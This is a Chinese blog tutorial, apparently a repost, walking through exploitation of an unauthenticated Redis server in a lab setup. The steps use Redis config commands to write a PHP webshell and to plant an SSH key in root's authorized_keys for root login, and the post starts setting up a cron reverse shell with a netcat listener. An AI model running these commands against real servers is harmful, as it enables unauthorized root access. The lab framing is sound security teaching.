未授权访问漏洞----1、Redis未授权访问漏洞

本文阅读 3 分钟

Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存也可以持久化的日执行、Key-Value数据库。

Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有添加防火墙规则避免其他非信任来源 ip 访问等策略时,会将 Redis 服务暴露到公网上;如果在没有设置密码认证(一般为空)的情况下,会导致任意用户未授权访问 Redis 以及读取 Redis 的数据。

在未授权访问时,利用 Redis 提供的config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹下的authotrized_keys 文件中,然后使用对应私钥利用ssh服务登录目标服务器。

Kali(攻击机):192.168.209.128
Ubuntu(靶机):192.168.209.136(搭建Redis)
下载Redis:wget http://download.redis.io/releases/redis-2.8.17.tar.gz

img

解压Redis:tar xzf redis-2.8.17.tar.gz
进入Redis目录:cd redis-2.8.17/
编译:make

img

进入src目录

img

将redis-server和redis-cli拷贝到/usr/bin目录下:
cp redis-server /usr/bin
cp redis-cli /usr/bin
返回目录redis-2.8.17,将redis.conf拷贝到/etc/目录下:
cd ..
cp redis.conf  /etc/
使用/etc/目录下的reids.conf文件中的配置启动redis服务:
redis-server /etc/redis.conf

img

1、未授权访问

redis-cli -h 192.168.209.135

img

2、写入webshell

config set dir /tmp
config set dbfilename

img

config set dbfilename redis.php
set webshell "<?php phpinfo(); ?>"

img 可以在在靶机上查看,已经写入成功。 img

3、利用公私钥获取root权限

在靶机中创建ssh公钥存放目录(一般是/root/.ssh)

img

在攻击机中生成ssh私钥和公钥,密码为空:ssh-keygen -t rsa

img

进入.ssh目录:cd .ssh/,将生成的公钥保存到1.txt:
(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n") > 1.txt

img

连接靶机的Redis,将刚生成的公钥1.txt写入redis
cat 1.txt | redis-cli 192.168.209.136 -x set crack

img

攻击机连接靶机redis:redis-cli -h 192.168.209.136

使用 config get dir 命令得到redis备份的路径,更改redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh)并设置上传公钥的备份文件名字为authorized_keys:
config get dir
config set dir /root/.ssh
config set dbfilename "authorized_keys"
save

img 到这一步,ssh公钥已经成功的写入了靶机。

利用ssh免密登录到靶机:ssh -i id_rsa root@192.168.209.136

img

4、计划任务反弹shell

在权限足够的情况下,利用redis写入文件到计划任务目录下执行。 攻击机执行监听:

nc -lnvp 4444

然后执行: img

本文为互联网自动采集或经作者授权后发布,本文观点不代表立场,若侵权下架请联系我们删帖处理!文章出自:https://blog.csdn.net/sycamorelg/article/details/118757987
-- 展开阅读全文 --
Web安全—逻辑越权漏洞(BAC)
« 上一篇 03-13
Redis底层数据结构--简单动态字符串
下一篇 » 04-10

发表评论

成为第一个评论的人

热门文章

标签TAG

最近回复